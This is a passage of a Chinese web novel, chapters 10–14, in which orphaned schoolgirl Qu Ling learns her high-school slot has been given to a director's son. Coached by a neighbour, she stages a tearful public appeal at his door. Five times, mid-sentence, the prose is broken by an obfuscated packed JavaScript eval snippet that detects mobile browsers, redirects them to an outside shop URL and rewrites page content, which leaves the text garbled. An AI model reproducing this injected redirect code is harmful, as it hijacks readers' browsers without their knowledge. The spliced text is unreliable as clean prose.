曲灵点点头,梁爱勤也忙说:“我们保证不说出去,你赶紧说吧,真让人着急。” 那位同学这才开口,说:“我听说,推荐上高中的名额里没有曲灵。” “不可能!”梁爱勤惊讶出声,旁边的同学们都看过来,她连忙捂住嘴巴,又赶紧去看曲灵。 曲灵双手紧紧握着钢笔,嘴巴抿在一起,紧紧盯着那位同学。 梁爱勤忙压低了声音说:“曲灵,你先别着急,谁知道他是在哪儿听说的消息,不见得是真的。” 她说着,便又转向那位同学,“你听谁说的,怎么可能没有曲灵?” 话都说到这个份上了,那位同学也没什么可隐瞒的了,索性就直说,“听李小志说的,那小子跟我们说他要去上高中了……” “就他那成绩还不如我呢,他咋能去上高中?”梁爱勤不太相信。 那位同学说:“是啊,我们也奇怪呢,问他他也不说,后来,有人从家里偷半瓶二锅头,把他灌醉了,才从他嘴里听说,他用的是曲灵的名额。” 曲灵心里头瞬间冰凉,她急切地追问那位同学,“你说的是真的,没有撒谎?” 那同学被她的眼神吓了一跳,连忙举起手来,说:“我跟主席他老人家发誓,要是有半句谎话,让我这辈子都吃不上鸡蛋!” 曲灵紧紧盯着那位同学的双眼,试图从他脸上寻找撒谎的痕迹,可惜,一点都没有寻找到。她心知,这位同学说的,十有八九是真的。 她喃喃开口,“凭什么,凭什么用我的名额。” “啪”,钢笔掉在地上,一下子让她从愤怒之中清醒过来,就听见梁爱勤发出同样的疑问。 后座那位同学发现曲灵脸色瞬间泛白,眼神迷蒙,心里头很是不忍,咬了下嘴唇,小声说,“还不是因为曲灵的爸爸去世了,她没有靠山了。她爸是保卫处的副处长,是厂领导,没人敢惹,她爸一去世,李小志他爸就敢作妖了。” 曲灵怔住,低下头去,将钢笔捡起来,紧紧握在手中,胸口剧烈起伏了一会儿,猛然站起,往外冲去。 “曲灵!”梁爱勤小声地喊着她的名字,抓了自己的报名表,匆忙交上去,朝着矿上的代表鞠了一躬,连忙追了出去。 10. 名额 梁爱勤跑得气喘吁吁,才终于在班主任李老师办公室门口赶上了曲灵。 曲灵回头,对梁爱勤笑了下,说:“我要找学校问清楚,你别跟着我了,省得连累你。” 梁爱勤跟曲灵从小一块长大,还是头一次在她脸上看到这样的表情,她没有办法形容那是什么表情,只是看上一眼,就让人鼻酸、难受,想要流眼泪。 她吸了吸鼻子,点点头,说:“行,那我就在这里等你,你别着急,跟李老师好好说,脾气软和点,说些好话。” 曲灵点点头,拍了下她的胳膊,而后挺胸抬头,敲了办公室的门。 李老师下午一直陪着参加矿上的说明会,刚刚有人找他,才回了办公室,听见有人敲门,便应了一声“进。” 曲灵推门进去,办公室里空荡荡的,只李老师一人坐在办公桌前,看见曲灵,有些惊讶,问:“找我有事?” 曲灵答应一声,深吸口气,说:“老师,我听说推荐上高中的名额报上去了,我想问问,需不需要我再办什么手续。” 李老师面色一僵,随后打着哈哈说:“你怎么想起问这个?还有一个月才毕业,你问这些事,有点早。” 曲灵:“一个月的时间,也不算长,一中距离矿区不近,得早做准备才行。李老师,你怎么有些不高兴,莫不是有什么事情瞒着我?” 李老师对上曲灵明亮清澈的大眼睛,瞬间有些心虚,脸上的表情也随之严肃起来,问:“你是不是听到了什么风言风语?” 曲灵没说话,只是盯着李老师。 李老师被她看得很不自在,忙拿起水杯假装喝水,喝了一肚子空气后才发现水杯里一滴水都没有,他尴尬地将水杯放下,清清嗓子,说:“你也知道的吧,我只是个班主任,推荐谁不推荐谁,不是我能决定的。” 这就是承认这次的推荐名额里没有曲灵。 瞬间,眼泪蓄满了眼眶,曲灵仰起头,倔强地不让眼泪掉下来,而后扭头就走。 李老师站起来,急忙问:“你要去哪里?” 曲灵转头,看向李老师,说:“我要去找能管事的人,问问到底为什么。” 李老师叹口气,说:“你别去,去了也没用,学校有权利推荐谁,不推荐谁,惹到他们,对你没好处。” 李老师心里头也特别不自在,曲灵的名额,不是他给挤掉的,但他是执行者,也是帮凶。曲灵学习好,成分好,思想品德好,积极参加学校的各种社会活动,不管从哪方面来说,都比李小志更有上高中的资格,可谁让曲铁军在这个时候去世了呢? 这个世界就这么现实,人走茶凉,没了爸爸庇护的孩子最好欺负。 曲灵胸腔里头鼓鼓的,全被愤怒、委屈还是不甘填满,瞪着大眼睛盯着李老师。 李老师又叹口气,往她身边走近了些,说:“你还小,有些事你不懂,这个世界上的事儿就是这样。你将来还要在矿上生活,以后还要在这里工作,不管是校领导还是矿领导,都不是你能得罪得起的,在人屋檐下,不得不低头,有些事儿,该忍就得忍,退一步海阔天空。” 曲灵抿着嘴唇,什么都没说,胸腔里“呼哧呼哧”,像是拉风箱一般。 李老师:“再说了,你咋就保准那推荐名额是你的?均州一中给你发入学通知书了?你用什么理由去找校领导掰扯?” 曲灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641656|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一滞。 李老师继续说:“你去找校领导就是自取其辱,连质问的资格都没有,你去了,不光啥问题都解决不了,还平白得罪人,得不偿失啊!” 见曲灵表情出现了些变化,李老师继续说:“听我的,别闹了,不管是校领导还是李小志他爸,闹出了这事儿,对你都有些愧疚,以后你有个啥事,还能找他们帮忙,好过你跟他们闹翻,以后给你穿小鞋。你,你现在不同以往了,孤儿寡母,孤单单的一个,以后靠着别人的日子还长,千万别把自己的路走窄了!” 这些话,一个字一个字都被曲灵听到了心里去,她深深看了一眼李老师后,说了声,“受教了”,之后没再说什么,转身跑走。 “喂,曲灵,你听老师的,老师不会害你的!” 李老师大声叮嘱着,而后重重叹口气。 他刚刚那一番话,固然是劝阻曲灵不要去闹,她父亲刚去世,尸骨未寒,就闹出取消她上高中推荐的名额的事儿,传出去,好说还不好听,从校领导到他自己,还有顶替曲灵名额的李小志一家,都少不得落下个欺负人的坏名声,所以,让曲灵息事宁人,默默忍了是最好的。 但是,他的话也不是全无良心,当了曲灵三年的班主任,这孩子有多聪明,多优秀,他都看在眼里,对这孩子也是有感情的,在他心目中,自然是曲灵更有资格上高中,她名额被李小志取代的事情,他也无可奈何。 曲灵胳膊拧不过大腿,他又何尝不是。曲铁军去世,曲灵的处境已经够难了,他不希望她往后的路上更多荆棘。 以曲灵目前的情况,事情闹起来,对她一点好处都没有,鸡蛋碰石头,最后还是她吃亏。 11. 该怎么办 在门口踱步的梁爱勤看见了从办公室里冲出来的好朋友,连忙迎上去问:“李老师怎么说?” 她瞧着曲灵脸色不好,眼眶发红,但眼神却炯炯地散发着光芒,好似在酝酿着什么。 曲灵看向她,嘴角动了动,说:“是真的,我的名额被李小志替了。” “他m的!”梁爱勤骂了一声,狠狠往地上啐口吐沫,而后接着问:“那你要怎么办?” 刚刚在等到曲灵的时候,她一直在想,如果这事儿是真的,该怎么办。但想来想去,也是毫无办法,只能替曲灵难过、委屈。 她知道,曲灵很小的时候就下定了决心,将来要考大学,所以,从上育红班开始,就认真听讲,好好学习,可才上了小学三年级,大革命到来了,大学取消,绝了她当大学生的路。她退而求其次,依旧好好学习,将来当个高中生,可没想到,这个梦想也要破灭了。 曲灵拉了下梁爱勤的胳膊,远离了办公区,望着好朋友关切的模样,摇摇头,说:“我也不知道该怎么办。李老师让我不要闹,说是闹了也白闹,我爸不在了,没人给我撑腰,还容易得罪人,可我不甘心。” 曲灵刚刚脑子一热,冲动着是想要去找校领导要个说法的,可听了李老师那番话后,却意外地冷静下来。 爸爸总是教育她,做事不要冲动,要先想一想,想清楚了再决定要不要去做,该怎么去做。 爸爸在世的时候,这些话,她并没有放在心上,可是爸爸去世的日子里,每天晚上,她难受得睡不着觉的时候,爸爸教给的这些,都涌上心头,被她反复砸摸,铭记于心,当成至理名言。 爸爸让她不要鲁莽行事,却没有教她遇到这种情况该怎么做。 要忍气吞声吗?她不甘心,想想就能把人憋屈死! “李老师他,他怎么能这么说话!” 梁爱勤觉得李老师的态度不对劲儿,老师,不应该是公平公正的嘛?他明知道曲灵更有资格上高中,也是老早就定好的人选,可曲灵的名额被李小志抢走了,他不说帮着曲灵,却劝说曲灵息事宁人。 十四五岁的小姑娘,其实很多道理都明白,很多事情都能看得清楚了,只是看清楚是一回事,接受又是另外一回事。她觉得,心里头有什么碎裂了一块。 “难道,就这么算了?” 不光曲灵不甘心,梁爱勤也觉得窝囊,心里头堵得慌。 看见好朋友这个样子,曲灵忽然笑了,她揽了梁爱勤的肩膀,说:“好了,先不想这些了,咱们回去小礼堂,刚才咱们这样冲出来,都没好好跟矿上领导打招呼,要是留了坏印象对你不好。” 梁爱勤关心的态度,分担了些许难受,让她心里头舒服了许多。今天的事儿,不是愤怒、发愁就可以解决的,她已然陷入到这种境地之中,又何必让好朋友跟着一起受牵连。 再说,她都能从和父亲死别这个人生最大痛苦之中缓过来,还有什么能击倒自己呢? 这么想着,她憋闷的心忽地就好了许多。 陪着梁爱勤往小礼堂的方向走,便看见同学们陆陆续续从里面走出来,问了才知道,报名表上交之后,这场说明会就结束了。不过,还有些同学围在矿领导身边问问题,而问问题的目的,也并不是真的想了解什么,不过就是想趁机跟领导们混个脸熟,将来真的去了均州铁矿,能有个见面情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641657|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>梁爱勤没想着往领导身边凑,两人索性就不去小礼堂了,去教室收拾了东西,放学回家。 在路口分别的时候,梁爱勤不放心曲灵,提议说:“要不你跟我回家吃饭吧,把今天的事儿跟我爸说说,我爸大小也是矿上的班组长,肯定认识不少矿上领导,没准就能找到比李小志他爸官大的!” 曲灵谢绝,“我的事儿,你就别把梁叔也牵扯进来了,你们一大家子人都在矿上呢。” 梁爱勤在梁家的地位远远比不上曲灵,她的话在梁爸爸那里,毫无分量,且不说她爸爸没有帮忙的能力,便是有能力,也是不肯为了女儿的同学使上半分的。 梁爱勤自己也是明白的,又给她出主意,说:“要不你去找找张九钢,张处长,你不是说,他跟你爸以前是战友,是关系最好的朋友吗?你的事儿,别人不管,他肯定会管的。” 曲灵抿了下嘴唇,说:“我回去好好想想吧。” 李老师今天说的“人走茶凉”被曲灵记在了心里头。今天之前,她从来没想过,人竟然凉薄至此,曲铁军去世才不过几天,整个世界都变了。 曲铁军生前,在均州铁矿有地位,谁见了他不是恭恭敬敬地叫一声曲处长,连带着见到曲灵也是亲切友好,似李老师那般让她认清现实,看似满心为她好,实则戳人心窝子的话,曲灵也就只从李三梅那里听过。 至于张九钢,确实如同她之前和梁爱勤说的那般,是父亲的好战友,好朋友,但经历了李三梅抛下她连夜跑走,经历了李老师这个忠厚长者的“谆谆教诲”,让她对张九钢也不报信心,再说了,她以后的路还很长,总不能一有事情就去找人帮忙,总要自己独立才行。 12. 求助 回到家,肚子已经饿得咕咕叫了,曲灵决定先祭拜下自己的五脏庙。打开粮食柜子看了半天,舀了半碗白面,回想着李三梅的做饭步骤,准备做疙瘩汤。 可惜水放得多了些,面糊太稀,用铝饭勺舀了面糊放进沸水里,一个面疙瘩就形成了,不大一会儿,面疙瘩就化了,成了一锅面糊糊汤。 面糊糊就面糊糊吧,这么一大锅,又能吃两顿了,她乐观地想着。又在出锅之前,去菜园子里摘了一颗生菜,洗干净后,用刀切成细丝,在面糊糊里面一搅,而后加上盐,点上一点点素油,一顿饭就算是做完了。 就着咸菜,吃下去两碗面糊糊,撑得肚子滚圆,还剩下一半,她便又盛出来,放进凉水里明天当早餐。 吃饱了,身体舒服了许多,心情也好了起来,头脑也更清晰了些。 她听到远处李奶奶的大嗓门在跟邻居显摆说他们家里今天吃炖肉,是她在市里上班的二闺女买回来的,馋得隔壁家的小孩子哇哇大哭,哭着喊着也要吃,李奶奶留下一句,想吃让你妈给你买,而后回家,锁门,徒留下小孩子愈加凄惨的哭声。 曲灵不由得笑了。 要说这位李奶奶可是位传奇人物,这一片住的都是干部家庭,只有李奶奶一家是工人身份。矿上的职工们,是按照资历、级别分房的,一般来说,都是级别差不多的人住在一片区域内,级别越高的区域,居住面积,居住环境也会更好些。 李奶奶愣是凭着自己的本事,让一家人住上了这边的房子。具体她是怎么操作的,曲灵并不知道,但李奶奶是个“厉害人”的印象,自从李奶奶搬过来,她就有了这个认知的。 不管平时自己的所见所感也好,还是偶尔从李三梅跟曲铁军聊的那些闲话听来的也好,都能够证明这一点。 吃完饭后,学习了一会儿,等到太阳落山,天色有些麻麻黑的时候,曲灵就出了门。往胡同口的方向看去,果然见李奶奶在家门口的大石头上坐着,正跟一个过路的人聊着什么,不多一会儿,过路人走了,李奶奶埋首,不知道在干什么。 等走得近了些,才看见李奶奶正在纳鞋垫。 鞋垫是从袼褙上裁剪下来的。 袼褙就是用面糊糊将一层层碎布粘贴起来的东西,可以做鞋垫,也可以做千层鞋底。 用做鞋垫的时候,会在上面蒙上一层白棉布,划上大小均匀的小方格子,在小方格子里面缝上“x”字,就可以组成图案,既美观,又不容易坏。 如今彩色的线不好买,李奶奶只用了黑、白两种普通的棉线,缝出来的图案--曲灵盯着看了一会儿,也没看出个所以然来。 李奶奶发现了她,笑了起来,说:“呦,难得在这个时候看见你,对了,我这一天都没看见你妈,她忙什么呢?” “就还是每天那样呗。”曲灵摇了摇头,马上将话题岔过去,指着鞋垫子问,“瞧着尺码,是给你家我大叔的吧。” 曲灵指的是李奶奶的大儿子,是铁矿的一线工人。 李奶奶:“可不是给他的,他干的是体力活,废鞋、废袜子,垫个鞋垫子好多了,还能吸汗。” 袼褙应该是很硬的,李奶奶借助着顶针的力量,毫不费力地让针在其上穿梭往来,即便是跟曲灵说着话,也不耽误手上的动作,看久了,竟然也有种特殊的美感。 曲灵真心称赞着,“你手艺真好!” 被人夸赞着,李奶奶高兴起来,用针头在头发里面划了划,说:“不是我吹,我当初在我们屯子,那可是妇女劳动模范,上山下地,家里家外,那都是这份的!” 李奶奶举起了大拇指。 曲灵也伸出大拇指朝她比了比,说:“你可真厉害!” 李奶奶愈加高兴,眉眼都弯了起来。 曲灵是这一片孩子种的异类,别人家的孩子都拖着大鼻涕,长着虱子,漫山遍野疯玩,像个泥猴子的时候,她干干净净,身上一个补丁都没有,说话做事小大人似的,斯文有礼貌,长得又好看,这样的孩子,在李奶奶心目中有着不一样的地位,被这样的孩子肯定,李奶奶心中的自豪感加了个倍。 想一想,她还从来没被这孩子夸过,更是没有这般主动跟她搭话。李奶奶如果知道“受宠若惊”这个词,便能准确形容她此时的感受。 看着李奶奶的样子,曲灵接着说:“李奶奶,其实我一直觉得,你家日子过得好,一点都不吃亏,真好。” 一听这话,李奶奶放下鞋垫子,一拍大腿,又朝着曲灵举个大拇指,说:“你这小丫头,我小时候就看出你是个有见识的!可不嘛,这都新中国了,受苦受难的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641658|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们翻身当了主人,咱挺直腰杆子做人,吃啥都不能吃亏!” 李奶奶说着的时候,曲灵不停地点头,认同着她的话。 曲灵:“李奶奶,我问你个问题,要是有人抢你的东西怎么办?” 李奶奶理所当然:“当然是抢回来啊!” 曲灵:“那如果抢你东西的人有权有势呢?” “有权有势?”李奶奶不知道想到了什么,又是一拍大腿,说:“新中国,人人平等,那人还把自己当成兵匪、地主老财不成?敢抢我的东西,我管他是谁?我祖宗八代贫农,根红苗正,抢我的东西,我就想方设法抢回来,抢不回来,我就去找厂领导,厂领导不管,我就去找市领导!市领导不管,我就上首都找主席他老人家给我做主!哼,我还就不信了!” 李奶奶说得激情澎湃,斗志昂扬,一手叉腰,一手挥舞着鞋垫子,颇有些敢上九天揽明月的架势。瞧见曲灵单纯明亮,又充满崇拜的眸子,显然是信了自己的话,有些心虚觉得自己的话有些太大了,大声咳嗽一声,摸摸鼻子,将挥舞着的手臂放下,压低了声音蠕动嘴唇说:“不过,不过也得看具体情况,咱的目的是把东西抢回来,又不是真的闹事。” 这话让曲灵眼前一亮,李奶奶果然是有真本事的。 她正要说话,李奶奶丝毫不显浑浊的眼睛滴溜溜往曲灵身上瞄着,问:“你被人欺负,抢了东西?” 曲灵一惊,心说,姜还是老的辣,自己在李奶奶这里弄心思,却被她很快察觉出来,把别人当傻子的才是傻子!她立刻端正态度,轻轻点点头。 李奶奶:“你让人抢了啥,谁抢的?没王法了,你爸才走就敢这样,还要不要点脸?你妈呢,让你妈打上门去,看他们欺负孤儿寡女的名声好不好听!” 曲灵摇摇头,说:“我今天白天听到一句话,就是人走茶凉,李奶奶,我爸去世后,好些道理我才懂了。这世界上,靠山山倒,靠水水干,终究还是得靠自己才行。” 李奶奶心中忽地难受得不行,握住了曲灵的手,说:“好孩子,别难受,谁欺负你了,跟我说说,李奶奶帮你想办法。” 曲灵鼻子一酸,眼泪险些流出来,她吸吸鼻子,转转眼睛,将眼眶里的眼泪憋回去,将李小志把自己上高中的名额抢去的事情说了一遍。 13. 支招 听得李奶奶又直拍自己的大腿。这街坊邻里的,谁不知道曲灵想要上高中?她打小学习就好,成分没问题,还是校宣传队的,主席语录背得滚瓜乱熟,谁也不会怀疑她上不了。 “这李小志他爸也太不是东西了,这委屈绝对不能就这么受了,肯定得抢回来!孩子,你不知道,这人啊,都是软的欺负硬的怕,你这次但凡要是忍了,过不了几天,就得有人来跟你抢房子!” 李奶奶说得很肯定,曲灵倒吸一口冷气,她没想到这一点。是啊,入学名额能抢走,那住房自然也能抢走。她不由得庆幸过来找李奶奶请教,真是找对了! 她这么想着,也就说了出来,反握住李奶奶的手,满脸期待,“李奶奶,我到底该怎么办?我想上高中,不想没地方住,流落街头。” 曲灵没等李奶奶的回答便又接着说:“其实,有件事儿,我谁都没说。”她抿了下嘴唇,深深吸了一口,用了极大勇气,说:“我妈,我妈她收拾东西离开了,家里如今就只剩下我自己了。” “啊?”李奶奶瞪大眼睛,急切地问,“你妈走了,她去哪儿了,不要你了,抛下你走了?” 曲灵:“我也不知道她去哪里了,我问了几句,她不肯告诉我。你知道的,我们母女两个从小到小关系一直都不太好,也怪我,脾气太坏了……” 曲灵将详细大概说了说。 李奶奶依旧震惊着,“那也不能离家出走啊,她是你妈,你是她身上掉下来的一块肉,你爸已经不在了,正是你们娘俩相依为命的时候,她拍屁股走了,留你个十多岁的小丫头一个人生活,这叫什么事?” 又看向曲灵,脸上的怜悯之情更重,说:“你这孩子也是,这么大的事儿怎么不跟人说呢,跟你奶奶,跟你二叔说也行啊,他们要是知道了,肯定不让你妈离开。” 曲灵:“我妈求我先别把这事儿说出去,我答应了她……” 李奶奶恨铁不成钢,“你这孩子,唉!” 曲灵笑了下,“所以,往后我就只能靠自己了,我也十五了,是个大人了。就是这次的事情,我实在不知道该怎么办好。” 李奶奶真是心疼这个可怜的,被迫懂事儿的孩子,立刻拍着胸脯大包大揽,说:“有李奶奶在呢,李奶奶给你想办法,肯定让你把入学名额拿回来!” 曲灵猛地点头,满眼信赖地看着李奶奶。 李奶奶抚摸着她的手,低头沉思了一会儿,说:“你年纪小,不合适跟我这个老婆子似的倚老卖老,撒泼耍赖。你呀,得倚小卖小,你一个小姑娘,刚成了孤儿,你得让人知道你的可怜,委屈,得让人觉得,谁欺负你就是天打雷劈、丧良心!” 曲灵似懂非懂的。 这会儿,绝大多数人家的炊烟都散了,不时有人们在道路上往来,遛弯儿消食,李奶奶只得压低着声音,很影响她情绪的发泄,时不时有人跟她打招呼,也很影响她的思路,便提议说:“咱们进屋,好好合计合计。” 李奶奶家里人口不少,两人说话也不是很方便,曲灵便提议:“去我家吧。” 李奶奶自然没有不答应的,拿了鞋垫子和线轴便跟着她往曲家去。 夜晚的东北小城,气温比白天骤降十来度, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641659|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气温十分凉爽,一老一小坐在曲家院子中的小板凳上,一直聊到月上中天,曲灵才将不停打着哈欠的李奶奶送回了家。 返回来的曲灵洗漱刷牙,直到上床,满脑子都是李奶奶刚刚说的话,她反复砸摸、领悟、理解,直到自觉将李奶奶传授给她的精髓、原则搞清楚,才沉沉睡去。 第二天天刚蒙蒙亮,她就起床,搞完个人卫生,热了昨天晚上吃剩下的面糊糊,吃得饱饱的,从衣柜里找出一件白衬衫,一条白裤子换上,又小心带好孝牌,便锁好门离开。 天已经大亮,热度也升了起来,街上偶尔可见早起上厕所、倒痰盂的人们。 曲灵出了自家所在街口,往南行了大概二百多米,拐进了一条胡同,往里走了一段距离,在其中一家门口停住,反复确认了她没找错后,便在大门口蹲下来。 曲灵低着头,将脸埋在胳膊里,酝酿着情绪,蹲了大概五六分钟左右,周围的喧杂声音越响,不少人家已经升起了炊烟,而她蹲着的院中也响起了人声。 不远处,一位提着水桶,准备去水井提水的大婶好奇的盯着曲灵看了一会儿,而后问着:“这小丫头,大早晨的,你蹲在这儿干嘛?” 来了!曲灵心“怦怦”,剧烈跳动着,伸出手,用大拇指和食指捏住胳膊内侧一小块肉,使劲拧下去,疼得曲灵险些叫出来,眼泪自然而然就流了出来,她抬起头,看下那位大婶。 那大婶给吓了一大跳,白衣白裤,带着孝牌,眼泪涟涟,这是来报丧的啊?但仔细一看,她认出了曲灵,问:“你是曲副处长的闺女,叫个曲灵,是不是?” 14. 找上门 曲灵被掐的地方已经不疼了,但眼泪还是不停地往下流,模糊着她的视线,她没有抑制泪水,用袖子擦了一把,让自己的视线清晰些,吸着鼻子,有些含糊不清地回答:“婶,是我,我是曲铁军的闺女曲灵。” 那大婶更惊讶了,忙放下水桶,往近处走了些,问:“你在这儿干啥呢?这是李主任家,你找他啊?” 曲灵抽抽搭搭地哭起来,不停地点头,说:“我,我找李主任,想,想求求他。” 她其实不想哭得这么厉害的,可是眼泪自有主张地直往上冒,根本不受控制,不过,她还能谨记着李奶奶传授的经验:要哭得干净,要让人怜爱、心疼,绝对不能哭得埋里埋汰的,眼泪鼻涕一起流,让人觉得恶心。 李奶奶说,不管男的女的,老的少的,都待见好看的人,哭得让人心疼,人们就更会先入为主,站到她这边的。 曲灵理解李奶奶说的应该就是古人所谓的“梨花带雨”,哭得好看,能感染人,让人产生同情心。 她从来没跟人示弱过,从小到大,跟李三梅闹各种矛盾,都没有学会服软,她也明白,那是因为有曲铁军给撑腰,她才有不认错的勇气,如今爸爸不在了,她再倔强下去,就只能是吃亏。 李奶奶有句话说得很对,不管用什么方法,能达成目的才是最重要的。 到目前为止,事情都按照曲灵预想的那样进行着。 那位大婶脸上浮现出不忍、同情还有好奇的表情,又往她这边靠近了些,往李家院子里头张望了眼,问道:“你个小小的孩子能要求李主任办什么事儿?要不我帮你进去叫人出来?” 这时候,又有不少人看到这边的情景,靠了过来,曲灵粗略一数,能有六七个人了,有男有女,都是一脸的好奇,还有其他人往过张望着,陆陆续续往过走。 曲灵双臂交叉,又将自己抱得紧了些,擦了擦眼泪,有些感激地对着那位大婶声音不大不小,带着浓重哭音说:“谢谢婶子,不用了,我在这会儿等就行,李主任可能还没有起床。我本来就来得不是时候,可是我,可是我太着急了。” 就有脾气急的着急了,说:“这丫头,一大早的,到底有啥求人的事啊,你说说,让我们大家伙都听听的,看看咱们能不能帮上忙。” 其他人也纷纷附和,说:“是啊,是啊,你就说说呗。都是一个矿的,没准就能帮上忙,人多力量大嘛。” 曲灵咬了咬嘴唇,看了看众人,一副犹豫不决,想说又不好意思说的样子,急得又有人开始催促。 眼看着身边的人越聚越多,曲灵像是终于下定了决心一般,说:“是,是上高中的名额。本来是我的,李小志他……” 曲灵说到这里,低下头去,不肯再说下去了,但所表达的意思也非常明显了。 那位大婶便追问道:“你是说,你上高中的名额被李小志给占了?” 曲灵迅速抬头,看了眼大婶,好似很惊讶那大婶居然猜到了一般,而后咬着嘴唇,又低下头去,默默哭泣。 就有个女人的声音传入耳中,“我说昨天听李小志他妈念叨着他要上高中的事儿呢,我还寻思着那孩子成绩一般,其他方面也不出彩,咋就能上了高中呢,原来是这样啊。” 在曲灵没看见的地方,几个围观的妇女们彼此交换着心照不宣的眼神。 而后,一个熟悉的声音传入到耳中,“这也太缺德了,曲处长刚去十来天,就干出抢人家孩子上学名额的事儿,欺负人家孤儿寡母,曲处长活着的时候,跟李主任关系可也不错,人刚没几天?唉,丧良心啊!” 是李奶奶的声音,她来帮自己当托了,曲灵心里头安心了不少,按捺住想要抬头去看她的冲动,继续埋头,肩膀耸动着,“呜呜”地大哭出声。 哀哀悲鸣,像是个受了伤又无家可归的小兽,立时就有眼窝浅的妇女湿了眼睛。虽然没有附和着李奶奶谴责李主任,但看向李主任家的目光和表情已经带了质疑和鄙视。 那位大婶蹲下身来,拍了拍曲灵的小脑袋,声音软和了许多,说:“小丫头,有啥事,好好说,可别这么哭了,要哭坏了,你爸他在天之灵,也不希望你这样。” 曲灵抽噎声音更大,后背抖动得更厉害了,她有些艰难地抬起头来,眼睛、鼻头红肿,满脸是泪,满眼都是绝望,她哆嗦着嘴唇说:“我爸临走之前,最大的希望就是让我上高中,他的愿望我实现不了了,我对不起他!” “哇”地一声,哭声陡然大了起来,惊得不远处的狗狂吠连连,身边的人越聚越多,李家院子里的人终于也意识到有什么不对,李小志爸和李小志妈两人一脸不高兴地嘀咕着,“谁大清早的不消停,跑到别人家门前来又哭又闹的!” 两人从墙头探出脑袋往外看,刚探出头就被人发现了,高喊着:“李主任,快出来,出事了。” 出事了,出啥事了? 李主任拉着个脸推门出来,顺着哭声看过去,就看见了大哭不止的曲灵,心里头“咯噔”了一声,赶忙挂上茫然之色,说:“这是怎么了,怎么哭成这样?丫头,有啥事,家里去说。” 曲灵抬起头,张张嘴巴,不知道是不是哭得太厉害了,一时间竟然没能发出声音来。就有别人替她开口了,说:“她是来求你的,她上高中的名额被你家小志给占去了,她想求你还给她,上高中是曲处长的遗愿,她得完成,可是不能让曲处长死不瞑目!” “哎呀,这说的是什么话?你这小姑娘,打哪儿听的风言风语,都是误会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641660|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,误会!”李主任忙露出一副被被冤枉了,你这孩子真不懂事,怎么能冤枉我的表情,而后又大度说:“这孩子哭得厉害,先去家里头歇会儿,喝点水,咱们慢慢说,解开误会就好了。” 曲灵眼睛肿得厉害,看向李主任的目光中充满祈求,沙哑着声音说:“李主任,我求求你,我求求你……” 这小丫头,还挺厉害的,她不去分辨到底有没有被抢走名额,而是一味的哀求,那么自己所有的狡辩都没了用处。李主任咬牙切齿,没想到一个娇生惯养的小丫头片子居然有这份本事,真是小瞧了她! 四周围的人们越聚越多,整个胡同还有隔壁胡同的大人、小孩都过来凑热闹,来晚了的,跟周围的人询问发生了什么事儿,就立刻有热心人从头到尾给讲解一遍。 李主任感觉耳边全是“嗡嗡嗡”的声音,心知道这次的事情如果解决不好,自己在这片区域的名声就算是臭了,一个欺负孤儿寡母,薄情寡义的名声是跑不了了。他是干政工工作的,名声尤为重要,他必须得想办法将这件事情的影响力降到最低。 他咬了咬牙,脸上重新挂起笑容,朝着曲灵伸出手去,想要拉她起来,说:“你这孩子,年纪小,没闹清楚事情就鲁莽跑来,叔叔不怪你,走,跟我进家去,歇一会儿,等你冷静些,跟叔叔说说你到底遇到了什么事。” 